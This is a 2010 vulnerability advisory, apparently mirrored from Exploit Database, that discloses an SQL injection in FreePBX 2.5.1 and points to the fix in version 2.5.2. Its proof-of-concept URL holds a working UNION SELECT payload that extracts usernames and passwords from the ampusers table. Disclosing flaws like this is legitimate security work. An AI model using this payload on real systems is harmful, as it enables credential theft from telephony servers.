FreePBX 2.5.1 – SQL Injection

• Exploit Database
• 14 阅读

• 作者： Ivan Huertas
  日期： 2010-01-18
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/11186/

• Advisory Name: SQL injection in FreePBX 2.5.1
  
  Internal Cybsec Advisory Id: 2010-0103
  
  Vulnerability Class: SQL injection
  
  Release Date: 15/01/2010
  
  Affected Applications: Confirmed in FreePBX 2.5.1. Other versions may also
  be affected.
  
  Affected Platforms: Any running FreePBX 2.5.1
  
  Local / Remote: Remote
  
  Severity: Medium – CVSS 6.3 (AV:N/AC:M/Au:S/C:C/I:N/A:N)
  
  Researcher: Ivan Huertas
  
  Vendor Status: To be confirmed
  
  Reference to Vulnerability Disclosure Policy:
  http://www.cybsec.com/vulnerability_policy.pdf
  
  Vulnerability Description:
  
  A vulnerability has been discovered in FreePBX, which can be exploited by
  malicious people to conduct SQL injection attacks.
  
  Input passed via the "extdisplay" parameter to config.php is not properly
  sanitized before being used in a SQL query. This can be exploited to
  manipulate SQL queries by injecting arbitrary SQL code.
  
  The vulnerability is confirmed in version 2.5.1 Other versions may also be
  affected.
  
  Proof of Concept:
  
  http://xxx.xxx.xxx.xxx/admin/config.php?display=did&didfilter=&extdisplay=12%22%20union%20select%20username,password,sections,%221%22,%222%22,%223%22,%224%22,%225%22,%226%22,%227%22,%228%22,%229%22,%2210%22,%2211%22,%2212%22%20from%20ampusers%20where%20%22%22=%22
  
  Impact:
  
  Execute arbitrary SQL queries.
  
  
  
  
  
  
  Solution:
  
  Update to FreePBX 2.5.2 or greater
  
  •	http://www.freepbx.org/trac/changeset/7594
  •	http://www.freepbx.org/trac/changeset/7640
  
  Vendor Response:
  
  2009-30-12 – Vulnerability was identified
  2010-01-07 – Vendor contacted
  2010-01-15 – Vulnerability published
  Patches were available before the vulnerability was discovered.
  
  Contact Information:
  
  For more information regarding the vulnerability feel free to contact the
  researcher at
  ihuertas<at> cybsec <dot> com
  
  
  About CYBSEC S.A. Security Systems:
  
  Since 1996, CYBSEC is engaged exclusively in rendering professional
  services specialized inInformation Security. Their area of services
  covers Latin America, Spain and over 250 customers are a proof of their
  professional life.
  
  To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is
  associated with othersoftware and/or hardware provider companies.
  
  Our services are strictly focused on Information Security, protecting our
  clients from emerging security threats, maintaining their IT deployments
  available, safe, and reliable.
  
  Beyond professional services, CYBSEC is continuously researching new
  defense and attack techniques
  and contributing with the security community with high quality information
  exchange.
  
  For more information, please visit www.cybsec.com
  
  (c) 2010 - CYBSEC S.A. Security Systems
  
  ===========================================================================
  Download:
  ===========================================================================
  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/11186.pdf (CYBSEC-Advisory2010-0103-FreePBX_2_5_1_SQL_Injection.pdf)